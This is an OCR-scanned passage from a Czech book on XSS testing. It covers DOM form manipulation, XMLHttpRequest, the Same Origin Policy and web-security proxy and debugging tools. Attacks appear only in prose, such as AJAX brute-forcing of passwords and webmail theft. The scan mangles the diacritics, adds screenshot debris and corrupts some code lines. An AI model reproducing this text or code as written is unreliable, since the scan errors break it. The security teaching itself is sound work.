document.getElementById("jmenoId") .value = jmeno;
document.getElementsByTagName ("input") [0] .value = jmeno;
document.getElementsByTagName ("input") ["jmenoName"] .value = jmeno;
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Na zavér si uvedeme konkrétni piiklad, ktery spoji dohromady
v8echny &asti, o kterych jsme se zatim zminili. Ve vypise 14 najdete
kompletni obsah HTML stranky, ktera obsahuje formulaf pouZity
v pfedchozich piikladech. V hlavicce jsou navic uvedeny meta tagy, které se
staraji o spravné kodovani Cestiny. Ty byly ve vypise 11 pro zjednoduseni
vypustény. Stranka dale obsahuje skript, ktery okamzit¢ po nacteni
dokumentu naplni rtiznym zplGsobem obsah poli pro jméno a heslo
a vyplnény formulaf volanim metody formulafe submit automaticky odesle
ke zpracovani cilovému skriptu, ktery je definovan v atributu action.

Vypis 14 - Automatické vyplnéni a odeslani HTML formulare

<html>

<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title>Pf¥ihlaSovaci formuldi</title>

</head>

<body>
<hl1>P¥ihlaSeni k webové sluZbé&</hl>
<form id="formId" name="formName" method="get"

action="javascript:alert ('Odeslano')">
Jméno:
<input type="text" id="jmenoId" name="jmenoName" value="">
Heslo:

<input type="password" id="hesloId" name="hesloName" value="">
<input type="submit" id="tlacId" name="tlacName" value="P¥ihlasit">

</form>
<script>
document . formName. jmenoName.value = "Mé jméno";
var heslo = document.getElementsByTagName ("input") [1];

heslo.value = "Mé heslo";
var formular = document.getElementById ("formId");
formular.submit () ;
</script>
</body>
</html>

Zavérem kapitoly o DOM nesmim zapomenout zminit informaci
0 jeho mirn¢ odlisné implementaci za strany webovych prohlizect. S touto
skute¢nosti jsme se stietli jiz v kapitole vénované samotnému JavaScriptu
abudeme se sni Casto stietdvat i Vvdal§im textu knihy. Rizné
implementovany maji konkurencni prohlizece napiiklad posluchace udalosti
nebo zahrnuti bilych znakl mezi textové uzly. Vzhledem k t€émto drobnym
odlisnostem dochézi k tomu, ze Casto musime psat rizné kody pro rizné
webové prohlizeCe. Pfipadné si muzeme pomoci dfive uvedenymi
knihovnami, které tyto odlisnosti v implementaci vyfesi za nas.
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AJAX

Jesté nedavno fungovalo naditani webovych stranek webovym
browserem pouze synchronné. To znamena, Ze vyzadal-li si uzivatel
webovou stranku, vyslal prohlize¢ pozadavek serveru a ¢ekal na odpovéd'.
Server jako odpovédél zaslal obsah celé webové stranky a browser jej
zobrazil uzivateli. Timto zpisobem se postupovalo vzdy, kdyz uzivatel
kliknul na né&jaky odkaz. Jisté feSeni, jak se vyhnout opakovanému nacitani
celého obsahu webové stranky, véetné menu, hlavicky a paticky, které jsou
na vSech strankach webu stejné, pfinesly rdmy v podob& prvka frame
a iframe. Ackoli bylo toto feSeni pouze ¢astecné, byly tyto prvky vyuzivany
také pro prvni pokusy s asynchronnim ptenosem dat. Dal§i moznosti pro
postupné zobrazovani obsahu dokumentu bylo naéteni celé webové stranky
véetné prvkd, jejichz obsah zistal pied uzivatelem skryt. Teprve ve chvili,
kdy si o néj uzivatel pozadal, mu byl prostiednictvim DOM, bez nutnosti
vyslani nového pozadavku na server, tento obsah zobrazen.

Neni se cemu divit, Ze vyvojaii webovych aplikaci hlasité volali po
néjaké funkci, ktera by jim umoznila nacitat obsah webovych stranek
prubézné na zakladé chovani uzivatele ve webové aplikaci, bez nutnosti
neustalého nacitani celé webové stranky. Takovato funkcnost by totiz
umoznila piiblizeni webovych aplikaci jejich desktopovym protéjskim. Po
prvotnich snahach! nakonec tvirci webovych prohlizedt uvedli na svétlo
svéta objekt XMLHttpRequest, ktery pravé tuto funk&nost nabizi. Oznaceni
AJAX vzniklo jako zkratka ze slov Asynchronni JavaScript a XML, pfi¢emz
jim oznacujeme aplikace, které pracuji pravé na zptsobu postupného
dotahovani pozadovanych informaci. Diky zavedeni tohoto objektu se staly
webové aplikace mnohem ZzivejSimi a pro uzivatele piivetivejSimi.

Nyni se podivame, jak se s objektem XMLHttpRequest pracuje. Uz
jste si asi zvykli na implementacni odliSnosti jednotlivych prohlize¢u, které
nas provazi téméf na kazdém kroku. Ani u objektu XMLHttpRequest tomu
nebude jinak. Na nejvét§i odlisnosti v jeho implementaci ale nastésti
narazime pouze u vytvaieni nové instance tohoto objektu, kdy se strasi verze
prohlizece Internet Explorer vydaly cestou komponenty ActiveX. Od verze
IE 7.0 se nastésti prace s timto objektem jiz u vSech prohlizec¢lt témét
sjednotila. Kéd pro vytvofeni nové instance objektu XMLHttpRequest bude
proto ponékud komplikovanéjsi, nez by mohl v idealnim piipadé byt. Dva
z mnoha moznych zpisobid vytvofeni nové instance tohoto objektu uvadim
ve vypisu 15.

L http://cs.wikipedia.org/wiki/AJAX
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Vypis 15 - Vytvoreni nové instance objektu XMLHttpRequest

try {
var myXMLHttpRequest = new XMLHttpRequest();
}
catch (error) {
try {
var myXMLHttpRequest = new ActiveXObject ("Microsoft.XMLHTTP") ;
}
catch (error) {
var myXMLHttpRequest =null;
}
}

Nebo zkrécené

var myXMLHttpRequest = (window.XMLHttpRequest ? new XMLHttpRequest () :
(window.ActiveXObject ? new ActiveXObject ("Microsoft.XMLHTTP") : false));

Ve chvili, kdy mame vytvofenu instanci objektu XMLHttpRequest,
miiZzeme oteviit komunikaéni kanal, skrz ktery budeme komunikovat se
serverem. Vytvoiime jej metodou open, ktera piebira n&kolik parametrt,
znichz pouze prvni dva jsou povinné. Jednotlivé parametry uvadim
v tabulce 16.

Tabulka 16 - Parametry metody open

open(Method, Url [, Async] [, User] [, Pass])

Method Typ poZadavku HTTP (GET, POST, HEAD, PUT, DELETE, ...)

Url Umisténi souboru na serveru, ke kterému chceme pfistoupit
Async Aynchronni (True) nebo synchronni (False) pfistup k souboru
User Uzivatelské jméno

Pass a heslo pro autentizaci na serveru

Parametr Async metody open, urCuje, zda bude prohlize¢ po
odeslani pozadavku cekat na vraceni dat od serveru, nebo zda umozni
uZzivateli pokracovat v praci a data stahne nepozorované na pozadi.

Ve chvili, kdy mame vytvofen komunikacni kanal, mizeme po
ném zacit komunikovat se serverem. K odeslani naseho pozadavku slouzi
metoda objektu XMLHttpRequest send, které piedavame jako parametr
obsah téla odesilaného pozadavku. V piipadé¢ metody POST jsou timto
obsahem zasilané proménné a jejich hodnoty. Pti odesilani dat metodou
GET vkladame parametry véetné hodnot pfimo do URI obsaZzeného
v metodé open. Neékteré prohlize¢e vyZzaduji, abychom v piipadé, ze
nezasilame v téle pozadavku zadna data, pfedali metodé send hodnotu null.
Kompletni pfiklad, v némz zjednoduSenym zapisem vytvofime instanci
objektu XMLHttpRequest, metodou open otevieme komunikaéni kanal typu
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POST a nasledné odeSleme data metodou send, uvadim ve vypise 16.
Metoda setRequestHeader pouZiti v piikladu nastavuje zdhlavi pozadavku
vyzadované prohlize¢em Opera.

Vypis 16 - Vytvoreni nové instance objektu XMLHttpRequest

try {
var myXMLHttpRequest = new XMLHttpRequest();
}
catch (error) {
try {
var myXMLHttpRequest = new ActiveXObject ("Microsoft.XMLHTTP") ;
}
catch (error) ({
var myXMLHttpRequest =null;
}
}
if (myXMLHttpRequest) {
myXMLHttpRequest.open ("POST", "/skript.php", true);
myXMLHttpRequest.setRequestHeader ("Content-Type",
"application/x-www-form-urlencoded") ;
myXMLHttpRequest.send ("jmeno=Tonda&heslo=pass123") ;
}

Posledni véci, o kterou se musime pii praci s objektem
XMLHttpRequest postarat, je ovéfeni, zda se jiz v odpovédi vratila data od
serveru, pieCist je a patficné na né zareagovat. Vzhledem k moznosti
asynchronni komunikace ne¢ekdme na odpovéd’ serveru ve skriptu, kterym
odesilame  pozadavek, ale budeme sledovat vyskyt udalosti
readyStateChange, ktera nastane pokazdé, kdyz se zméni stav vyfizovani
naseho pozadavku. Ten muzeme zjistit pfectenim hodnoty ve vlastnosti
readyState, ktera se postupné inkrementuje a mize nabyvat hodnot
uvedenych v tabulce 17.

Tabulka 17 - MozZné hodnoty vlastnosti readyState

uninitialized
loading
loaded
interactive
complete

B WP o

Funkci, ktera slouzi jako obsluha udalosti readyStateChange, tedy
pokazdé zkontrolujeme, zda jiz vlastnost readyState nabyla hodnoty 4
apozadovana data jsou ndm tim padem dostupna. Ctenim vlastnosti status
mizeme jesté zjistit stavovy kéd HTTP, abychom ovétili odpovéd’ serveru.
Data vracena jako odpovéd’ na na§ pozadavek, jsou k dispozici pod
vlastnostmi responseXML, kterd zpfistuptiuje stromovou strukturu DOM
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XML dokumentu a responseText, kterd obsahuje data v podobé ¢istého
textu. Ptiklad zdrojového kodu popsané funkce uvadim ve vypise 17.

Vypis 17 - Funkce pro precteni dat vracenych na poZadavek XMLHttpRequest

myXMLHttpRequest.onreadystatechange = function() {
if (myXMLHttpRequest.readyState == 4) {
if (myXMLHttpRequest.status == 200 || myXMLHttpRequest.status == 304) {
alert (myXMLHttpRequest.responseText) ;
}
}
}

XMLHttpRequest, kterych samoziejmé existuje mnohem vice. Kompletni
popis objektu najdete napiiklad v MSDN? na strankach Microsoftu.

Ve chvili, kdy jednou obdrzime odpovéd na na§ pozadavek,
zlstane v nékterych prohlize¢ich natrvalo ulozena hodnota 4 ve vlastnosti
readyState. Pokud tedy budeme chtit odeslat novy pozadavek, musime
opé€tovné vytvofit instanci objektu XMLHttpRequest.

Objekt XMLHttpRequest ma z bezpeénostnich divodi omezeni
Vv piistupu k datim, kterd jsou ulozena v jiné doméné, nebo jsou dostupna na
jiném portu nez se naléza stranka se skriptem, ktery zasila pozadavek na
server. Tento fakt zna¢né zuzuje vyuziti AJAXu pro XSS utoky. I tak se
vSak pro AJAX najde béhem XSS tutoku vyuziti. Konkrétné si predstavime
napiiklad password cracker, ktery na pozadi odesila asynchronni pozadavky
v ramci stejné domény a jimiz zkousi brutte force metodou rtizna hesla.
Omezeni, o kterém jsem se zminil, oznaujeme vyrazem Same Origin
Policy, a protoze se s nim budeme Casto stietavat i v dal$im textu této knihy,
urcité nebude na Skodu, kdyz se s nim nyni sezndmime blize. Pozdé&ji, az se
budeme zabyvat komunika¢nim kanidlem mezi obéti a utoénikem, se
zminime je$té o dalSich zpisobech vyuziti objektu XMLHttpRequst pro XSS
utoky. Nové verze prohlize¢ (konkrétné FF od verze 3.5 a IE ve verzi 8.0)
zavadi totiz také objekt XMLHttpRequest respektive XDomainRequest se
schopnosti komunikace mezi riznymi doménami. Tato komunikace je
ovSem podminéna vyskytem jistych HTTP hlavicek. Protoze jsem ovsem
zatim nezminil nezbytné informace o Same Origin Policy, odlozim popis
pouziti téchto objektd az na zminénou pozdéjsi kapitolu.

! http://msdn.microsoft.com/en-us/library/ms535874.aspx
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Same Origin Policy

Z vySe uvedenych kapitol tykajicich se JavaScriptu a DOM, musi
byt ziejmé, ze jde o velice mocné nastroje, které dokazi s obsahem
webovych stranek provadét nejrozlicngjsi akce. Nastésti v JavaScriptu
existuji jistd omezeni, kterd v urditych oblastech brani Gtoénikim ve
smrticich Utocich na uzivatele. Jednim z téchto omezeni je nemoZznost
zapisovat pomoci JavaScriptu data na disk nebo z n&j ¢ist obsah uloZenych
soubori. Takova vlastnost by utoénikiim oteviela moznost ziskani plné
kontroly nad pocitadem svych obéti. Jediny zpiisob, jak mize JavaScript
implementovany ve webovém prohlizeci ¢ist nebo zapisovat data na disku,
je pres soubory cookies. Je sice pravda, Ze se Cas od Casu vyskytnou
exploity, které zneuzivaji zranitelnosti webovych browseri a dokazi tak
rizné soubory na uzivateliiv disk propaSovat, ale nestésti je téchto ptipadd
stale méné.

Dalsi omezeni spo¢iva v prfistupu k datim nebo k obsahu
webovych stranek z jiné domény. Toto omezeni se oznaCuje Same Origin
Policy a je jednim ze zakladnich bezpe¢nostnich opatfeni, které je
implementovano ve webovych prohlize¢ich. Pfedstavte si, ze by bylo mozné
pomoci JavaScriptu umisténého na webové strance www.utocnastranka.cz
pristupovat k obsahu stranek z domény jiné, napiiklad na stranku
www.uzivateluvwebmail.cz, kde ma uZivatel nastaveno trvalé piihlaseni.
Pokud by nic netusici uzivatel navstivil stranku www.utocnastranka.cz,
JavaScriptovy kod na ni umistény by mohl sam v novém okné nebo ve
skrytém  ramu  oteviit webové stranky uzivatelova  e-mailu
www.uzivateluvwebmail.cz. Vyuzil by uzivatelova automatického ptihlaseni
a nacetl a odeslal by z nich uto¢nikovi obsah didvérnych informaci, které
jsou pod timto ti€tem ve webmailu ulozeny. Nebyt omezeni v podobé Same
Origin Policy, jisté by byl takovyto scéndf moZny. Bezpeénostni politika
Same Origin Policy ovSem nekontroluje pouze pfistup na jinou doménu.
Aby byl piistup k objektu povolen musi se shodovat také, subdoména,
protokol a port, na kterém komunikace probiha. V tabulce 18 uvadim
nékolik piikladt, které jsou nebo nejsou s ohledem na bezpecnostni pravidla
Same Origin Policy povoleny.

Diky tomu, Ze bezpe¢nostni politika Same Origin Policy
kontroluje mimo jiné i komunikaéni protokol, je zabranéno také tomu, aby
mohli uto¢nici pfistupovat k obsahu souborl, jez je mozné nacist do
prohlizee z disku pomoci protokolu file:. Nové&jsi verze webovych
prohlizeci tento protokol dokonce omezuji v jesté vétsi mife a nepovoli tak
se na tento protokol vibec odkazat, nebo jej pouZzit pro nacteni externiho

obsahu.
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Politika Same Origin Policy, o které jsem dosud psal, je
bezpecnostnim prvkem DOM. Kromé ni vSak existuji také bezpe€nostni
politiky zaméfené na objekt XMLHttpRequest, o které jsem se jiz letmo
zminil na zavér predchozi kapitoly, nebo politika hlidajici komunikaci
flashovych objekti. Béhem tvorby skriptii pro ttoky XSS narazime casto
také na hlidani ptistupu k souborim cookies. Jejich nacteni skriptem z jiné
domény, by totiz mélo pro uzivatele fatalni nasledky, vzhledem k povaze
Vv nich uchovavanych dat, kterymi jsou napiiklad session tokeny. Piesto se
pfed neddvnem dostala na svét nova zranitelnost, ktera ve spojeni
s clickjackingem umoziuje obsah cizich soubori cookies v Internet
Exploreru piecist. Tato zranitelnost dostala nazev cookiejacking™.

Muzete se setkat také s politikou Same Origin Policy zaméfenou
na technologii Silverlite, Gears nebo na objekty Javy.

Tabulka 18 - Priklady reakci Same Origin Policy pFi pokusu o pristup k datim

Reakce jsou uvedeny pro pokus o pristup z webové stranky http://www.domena.cz/index.html

http://www.domena.cz/stranka.html P¥istup povolen
http://www.domena.cz/web/stranka.html P¥istup povolen
https://www.domena.cz/stranka.html P¥istup zamitnut, 1i3i se protokol

http://www.domena.cz:8080/stranka.html P¥istup zamitnut, 1i%i se port

http://subdomena.domena.cz/stranka.html P¥istup zamitnut, 1isi se doména
http://sub.www.domena.cz/stranka.html P¥istup zamitnut, 1i%i se doména
http://www.utocnik.cz/index.html Pfistup zamitnut, 1i3i se doména

K tomu, aby mohl byt podniknut utok podobny tomu
z pfedchoziho scénare, ve kterém jsem nastinil pfistup k obsahu uzivatelova
webmailového uctu, musel by Gtoénik obejit bezpecnostni politiku Same
Origin Policy. Dosdhnout toho muze tak, ze své skripty vlozi pravé do
samotné aplikace webmailu. Pak totiz budou tyto skripty spusténé ve stejné
doméné a mohou tak napiiklad ve skrytych ramech naditat, Cist, ménit
a odesilat jakakoliv data nalezejici této doméné. No a tim uZ se pomalu
dostavame k samotnému jadru utokti XSS, protoze pravé injektovani skripti
do zranitelnych webovych aplikaci je jejich cilem.

! https://www.swisscyberstorm.com/speakers/valotta-slides
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Kapitola 2

Nastroje, ktere
pomohou

Tuto knihu jsem zcela zdmérné zacal skromnym ptedstavenim
JavaScriptu a objektového modelu dokumentu, protoze bez jejich dobré
znalosti nebudete nikdy schopni porozumét sofistikovanym utoktim, které
mohou Utoénici na vaSe webové aplikace podniknout. Tézko byste bez
téchto znalosti mohli stavét barikady, které by Gtoénikiim v jejich nekalych
umyslech mohly zabranit. Viele vam proto doporucuji nastudovat ptedchozi
oblasti v co mozna nejvetsi mite.

Nyni se jeSté v kratkosti zaméfim na nékteré nastroje, které se
mohou stat dobrymi pomocniky pii tvorbé a ladéni vaSich skriptd nebo pfi
prizkumu zdrojovych kédid webovych stranek a jejich stromové struktury.
Mohou vam vSak byt napomocny také pii hledani zranitelnych mist ve
webovych aplikacich, ¢i pifi vedeni XSS tutoku. I v tomto ptipadé vam
doporucuji, abyste se alespoii s nékterymi z téchto nastrojii blize seznamili,
nebot’” vam mohou znaéné ulehéit praci a tim usetfit spousty ¢asu béhem
celého procesu testovani.

Veskeré programy a dopliiky, které v této kapitole uvedu, jsou
nedilnou soucasti webového prohlizece, nebo jsou zdarma k dispozici ke
stazeni z Internetu. Pro jejich snadnéj$i vyhledani budu tedy uvadét i odkazy
na jednotlivé projekty.
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Nastroje pro psani a ladéni kédu

PSPad

Prvnim z nastroju, které pii tvorbé programi a skripti aktivné
vyuzijete, je néktery z nepfeberného mnozstvi textovych editort. Pouzit
mutizeme skutecné jakykoliv textovy editor, ktery dokaze ukladat prosty text
bez formatovani. Existuje ale také velké mnoZstvi editora kodu, které dokazi
zvyraznit syntaxi jazyka. Tim velice zpiehledni fadky napsané¢ho kodu
a usnadni orientaci v ném.

Mezi programy, které se pro psani kéodu vyborné hodi, patii
napiiklad PSPad’. Ten umoZiiuje zvyraznit syntaxi velkého mnoZstvi
programovacich a skriptovacich jazykd, véetné HTML, JavaScriptu a PHP,
které budeme v této knize pouzivat. Tento editor obsahuje navic mnoho
ruznych vlastnosti, které dokazi velmi zefektivnit praci, naptiklad sbalovani
funkci, ¢islovani tadkd, rizné koédovani znakd, otevieni vytvarené HTML
stranky v internim prohlizeci, pfistup na FTP a mnoho dalsiho.

B pspad - [Ctest\form.htm] d ' (E=SFel ™
e R
[ Soubor Projekt Upravy Hiedat Zobrozit Format Mastroje Skiipty HTML Nastaveni Okno Napovéda NED
@ee- re-RB-GlEILEEERIBS|| Y ]
sT1EGHAn -« IR L@ TG 2 8
1..sorptubs | 2. sranka rim | 3. fom himl
® O [En LIUUTTOY RO JUUUTRUDE. SURETU. JUUTTDUNE. VORI, SRR DR, S
<ntml>
I <head>
B Nowy projekt <title>Pfihladovaci formuldf</title
- Slodka </nhead>
<body>
<n1>PEinlaZeni k webové sluzbi</hl>
<form id="formId" name="formName" method="get" action="logon.php">
Iméno:
<input type="text” id="jmenold" name="imencName” value="">
Heslo:
<input type="texc” id="hesloId" name-"nesloName” value="">
<input type="submit" id="tlacld" name="tlacName" value="Pihlisit">
</forn>
<script>
var formalar = document.getElementSyId("formId");
var jmeno = document.getElemencSyId("Imenold");
var heslo = document,getElemencsByTagName ("input®) [11;
Smeno.value = "Moje jméno";
heslo.value = "Moje heslo":
formular.submit () ;
</seript>
</Boay>
</html>
1:7 (3) (7671 = HTML DOS _ Kédovani: Windows (CPL|
= == — —_—

! http://www.pspad.com/cz/
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Chybova konzola

Ve chvili, kdy tvotime skripty pro webové stranky, se stejné jako
pti tvorb¢ jakéhokoliv jiného programu nevyvarujeme syntaktickych
a jinych chyb. Interprety JavaScriptu ve webovych prohlizecich jsou ale
nastaveny tak, ze ve chvili, kdy zjisti syntaktickou chybu nebo narazi na
problém b&hem provadéni skriptu, jednoduse jej bez jakéhokoliv upozornéni
ukon¢i. S timto chovanim prohlize¢i bychom hledali chyby jen velmi
obtizné a tak pro vyvojafe vznikla fada nastroji, které dokazi na jednotlivé
chyby upozornit. V fadé webovych browserl je napiiklad k dispozici
chybovd konzola, ktera podd vice & méné podrobné informace
0 problémech, k nimz béhem provadéni skriptd doslo.

Ve Firefoxu najdete chybovou konzolu v menu Ndstroje, nebo ji
spustite klavesovou zkratkou ctrl+shift+j. Ve starSich verzich Internet
Exploreru se k vystupu chybovych zprav dostanete, jak je u tohoto
prohlizece zvykem, ponékud odlisnym zplisobem. V tomto prohlize¢i musite
zapnout oznamovani chyb zaskrtnutim volby Zobrazit ozndmeni pri kazdé
chybé ve skriptu na karté Nastroje/Moznosti Internetu/Upresnit. Novéjsi
verze |IE uz ale také obsahuji néstroj, ktery s ladénim skriptu
a s prochdzenim struktury DOM dokaze znaéné pomoci. K dispozici je
Vv menu Nastroje/Ndstroje pro vyvojare, nebo jej 1ze vyvolat klavesou F12.

Osobné pouzivam prohlize¢ Firefox. Zaprvé proto, ze je
multiplatformni. Zadruhé proto, ze k nému existuje velké mnozstvi dopliikd,
které se vyborné hodi pfi vyvoji a testovani skriptl, jakoz i pii hledani
a testovani zranitelnosti webovych aplikaci. VétSina ze zde popisovanych
nastroji budou proto pravé dopliiky pro tento webovy prohlizec.

|

@ Chybova konzola = | 5| |
e ‘@ Chyby 1. Varovani 0 Zpravy ‘ @ Vymazat
Kod: Vyhednotit

Meznama vlastnost ‘zoom'. Deklarace vynechana.
7 httpwwwegoogle.cz)

Chyba pii parsovani hodnoty vlastnesti 'font-size'. Deklarace vynechana,
= httpsi/fwww.google.cem/accounts/Servicel egin?service= mail8ipassive=truefirm=

Oéekdvan selektor. Sada pravidel ignorovana kvilli épatnému selektoru.
https: //www.google.com/accounts/Servicel oginfservice= mail&passive=truefirm=
Meoéekavany konec souboru pfi hledani uzaviraci } neplatné sady pravidel.

https://www.google.com/accounts/Servicel ogin?service= mail &passive=trueirm=

“ 1 »
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Firebug

Chybova konzola je pouze zakladnim nastrojem pii ladéni kodu.
S jeji pomoci sice dokazeme nalézt vétSinu syntaktickych chyb a chyb za
béhu skriptu, nicméné s odhalenim logickych chyb ndm moc nepomuze.
Logické chyby jsou chyby, které nezabranuji interpretu v provadéni
naprogramovaného algoritmu, ov8em pii jejich vyskytu se skript chova
jinak, néz jeho tvirce zamyslel. Pfi hledani tohoto typu chyb musime
sahnout po ponekud sofistikovanéj§imu nastroji, ktery nadm umozni
prochazet skript po krocich a postupné jej ladit.

Jednim z dostupnych ndastrojii tohoto druhu je rozSifeni pro
prohlize& Firefox, které se jmenuje Firebug®. Ten vam umozni b&hem ladéni
krokovat skriptem po jednotlivych fadcich, vytvaret vlastni body preruseni
nebo se vnofovat a vynotovat z funkci. V kazdém kroku pfitom miZeme
kontrolovat jednotlivé hodnoty proménnych a objektt DOM na strance.

Mimoto umoznuje Firebug také tvorbu skriptu v konzoli a jeho
testovani na aktualné nactené strance. TO se nam muze béhem testovani
utoénych skriptii také ¢asto hodit. Vzhledem k tomu, Ze se jedna o skute¢né
uziteCny a vSestranny nastroj, méli byste se s nim rozhodné blize seznamit.

Soubor Uprawy Zobrazit Historie Zalozky MNastroje Napovéda
P C @ % 2 - (4D nttpsswmgoogie.comyintl/cs/mobile/mail/#utm sourc 7 ~ | [[Gl-| Googie p i

© Zakizat~ 2 Cookies~ || €SS~ [ Formuldfe - | Obrézky - @ Informace - Riizné - ./ Orémovat - _ § Velikost okna = ./ Nastroje~ 2] 2|

GOUSIG Wobile @

) Guste a odpovideite na e-maily na cestach
5 @@ Qo

Styly~ | Rozvieni DOM

[ »

# % Il Konzole [ HTML~ | Cs5  sknpty DOM _sit

Upravit | body < html

= <homl>
= <head>
<meta sontent=rcexs/heml;
Charset=UTF-&" hrtp-equiv="Content-Type"/>
<title>Mobile</title>
# <link media="sereen” rel="stylesheet” href="http://wwu| ||}
fess/google cas” typesTtext/css"> google.css (Fidek 3)
% <link media="scree
/ess/re cas” sype="vext/css

google.css (fadek 8)

>

bedy {
background: $FFFEFE none repeat sexoll 0 0;

£000000;

milys szial,sans-sesif;

za: ean;

in: 12px 10px 10px;

m

# <link media="screen” rel="styleshees” h

+trles caa" ype—"tens/ess" shesd, oz, th {
® <scmipt ssc"hiips://ssl.gangle-analyrics.com . :
/urchin. is" type="text/ "> 2 \ padding: 0F

Hotovo # @ TorDisabled

1 http://www.getfirebug.com
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DOM Inspector

DOM Inspector® je dal3i velice uzite¢ny néstroj, o kterém jsem se
jiz zminit v kapitole zamé&fené na Document Object model. Umoziuje nam
prochazet DOM stromem dokumentu a podrobné zkoumat a nastavovat
vSechny vlastnosti jednotlivych objektd na webové strance. Mozné je
dokonce také pridavat nebo

Piihlasovac formular - = . ., .
e Edit search. View. Npoysda mazat jednotlivé objekty.
@ #  silerCresomhmi Inspect DOM inspector umoifluje
d~ NDu:umenl— DOM Nudeid — »- + Object - DOM Ned Zobrazeni né'hledu WebOVé
nodeName i nodeValue Bl Local Mame: , v ~ x X
sdocment mmesen || stranky véetné vSech zmen,
4 Node Type: 3 , v
e —F ) které ve  struktufe  DOM
e provedeme. To vse se
Stext Piihlasovaci formulaf | ZV}"I'aZﬁOVE’lnim jeantliVyCh
et , o 4
om0 vybranych elementi, které
i nam  usnadni lokalizaci
Htext Piihligeni k webové sluzb& , .
ot . hledaného objektu.
4FORM formld
#ext Jméno:
rur - Na  screenshotu
meur hesld vlevo vidite  stromovou
meur tacd strukturu DOM dokumentu z
s . vypisu 11, jak ji vygeneroval
Browser X -
PiihliSeni k webové sluzbé -| DOMinspector. Tento strom
-| jsme si dfive znazornili
méno Hedlo | pomoci diagramu. MizZete si

na ném vSimnout, Ze bilé
znaky, jako piechod na novy fadek nebo odsazeni fadku jsou v DOM
reprezentovany také jako textové uzly.

Ostatni nastroje pro vyvoj a ladéni kédu

Nastroje, které jsem se vam snazil v této kapitole, alespon
Vv rychlosti pfedstavit, nejsou samoziejme jedinymi, které mame k dispozici.
Za zminku stoji dale napiiklad Venkman JavaScript Debugger?,
Web developer®, Extension developer® nebo jakékoliv jiné, je? vam budou
nejlépe vyhovovat.

! https://developer.mozilla.org/En/DOM_Inspector

2 http:/Avww.mozilla.org/projects/venkman

® http://chrispederick.com/work/web-developer/

4 http://ted.mielczarek.org/code/mozilla/extensiondev/
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Lokalni proxy servery

Vyse jste poznali nastroje, které budete potiebovat béhem tvorby
a pfi procesu ladéni vasich skriptli. Zbyva se jesté seznamit s jednim typem
programd, které vam hodné pomohou béhem testovani webovych aplikaci
véetné hledani zranitelnosti typu Cross Site Scripting.

Timto typem nastrojii jsou lokalni proxy servery, pies které proudi
vSechna data odeslana vasim webovym browserem. Vy tak mizete kazdy
pozadavek sméfujici na webovy server pozastavit, podrobné jej prozkoumat
a pripadné pozménit odesiland data. MiZete tak ménit dokonce i hodnoty
proménnych, které jsou odesilany z formulaid metodou POST nebo
vyuzitim objektu  XMLHttpRequest. Stejné snadnd je také zména
jednotlivych hlavi¢ek pozadavka nebo i zména hodnot odesilanych cookies.

Tamper Data

= Prvnim
z vybornych nastroji  tohoto
druhu je rozsiteni pro Firefox,
které je k dispozici pod nazvem
Tamper Data'. Na obrazcich
okolo se muzete podivat, jak
vypada  jeho uzivatelské
=] rozhrani.

Ackoli je tento lokalni HTTP proxy, velice uzivatelsky piivetivy
a disponuje jednoduchym a intuitivnim ovladanim, ma oproti ostatnim
programim svého druhu bohuzel jista omezeni. Z jeho nedostatkti bych
uvedl napiiklad skute¢nost, ze umoziuje [E===wmEm L
ménit pouze pozadavky jdouci smérem od |
klienta k serveru. Odpovédi sice
umoznuje prohlizet, ale bohuzel uz ne
modifikovat, coZz se muize obcas také
hodit. Vzhledem k tomu, Ze obsah
zachycenych dat je ukladan v poli
JavaScriptu, neni mozné jej nechat bézet

neomezené¢  dlouhou  dobu, kvuli
nadmérnému zapliiovani paméti. Hlavnim nedostatkem ovsem je, Ze jej Ize
pouzit pouze pro zachytavani komunikace prohlizece Firefox, pod kterym

! http://tamperdata.mozdev.org
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bézi. To je hlavni rozdil, kterym se odliSuje od ostatnich plnohodnotnych
lokalnich proxy serverl. Mezi jeho vyhody naopak patii jednoduché
a intuitivni ovladani nebo moznost vkladat do jednotlivych odesilanych poli
hodnoty z preddefinovanych seznami. Tyto seznamy jsou jiz v zékladni
instalaci uvedeny pro hlavicku User-Agent nebo pro titoky XSS a SQL.

Web Scarab

Web Scarab je jiz plnohodnotnym lokdlnim HTTP proxy
serverem. Jednad se o samostatny program napsany v Javeé, coz jej Cini
pouzitelnym na mnoha rtiznych platformach. Naslouchd na ur¢eném portu
apreposila dal veskerou HTTP komunikaci, kterou na n¢j sméfujeme.
Umoziiuje tak spolupraci s jakymkoliv webovym browserem, nebo i jingm
programem komunikujicim prostfednictvim protokolt HTTP nebo HTTPS.
Web Scarab dovoluje modifikaci nejenom dat odesilanych z klientského
programu, ale i téch, ktera jsou vracena zpét ze strany Serveru.

- Webbcarst, |
Fie yiew Jools Heip
Summary | Mossages | Pron

ons | KSSTRLF | Sessiont) Analysis | Scrpted | Fragments | fummer | Compare | Search

Trss Salection fers con
[0 Status  Possiblo).]_injecion | Sel-Cootoe | Comments | Saigts

ign Tag_Passis inclion

Used 557 of 63.56M8

Program je navrzen primarné pro testovani zabezpeceni webovych
aplikaci, o Semz sv&d¢i i skutecnost, Ze pochazi z dilny projektu OWASP?.
Dokaze zjistit a provéfit mista, kterd potencidlné¢ umoznuji injekci kodu,
nebo jsou nachylna na utok CSRF. Na zakladé prochazeni webem, vytvaii
stromovou strukturu umisténi jednotlivych souborl na serveru a z webovych
stranek dokaze extrahovat skripty a komentare. Web Scarab disponuje také
zabudovanym fuzzerem pro testovani pfedavanych parametri a mnoha
dal$imi vynikajicimi funkcemi.

! http://www.owasp.org/index.php/Category: OWASP_WebScarab_Project
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Burp Suite

Burp Suite je podobné jako Web Scarab aplikace napsana v Jave,
ktera je primarné uréena pro testovani bezpecnosti webovych aplikaci. Jedna
se o cely balik zajimavych nastrojii, mezi nimiZ nalezneme napiiklad HTTP
proxy, spider, scanner, intruder, repeater a sequencer. Burp Site miZeme
navic jednoduse roz§ifovat o vlastni pluginy. Jeho jedinou nevyhodou je
skutecnost, ze ve své volné¢ Sifitelné free verzi neobsahuje vsechny
z uvedenych nastroji. Ty jsou bohuzel dostupné pouze v placené verzi.

manualu nalezne na webu projektu’.

Paros

Tietim programem napsanym v Javé, ktery spada do kategorie
proxy serverdl, a ktery na tomto misté zminim, je Paros®. Akoliv je tento
program velmi podobny vyse uvedenym, nedisponuje tolika rozliénymi
funkcemi. Na druhou stranu obsahuje par zajimavych vlastnosti, které
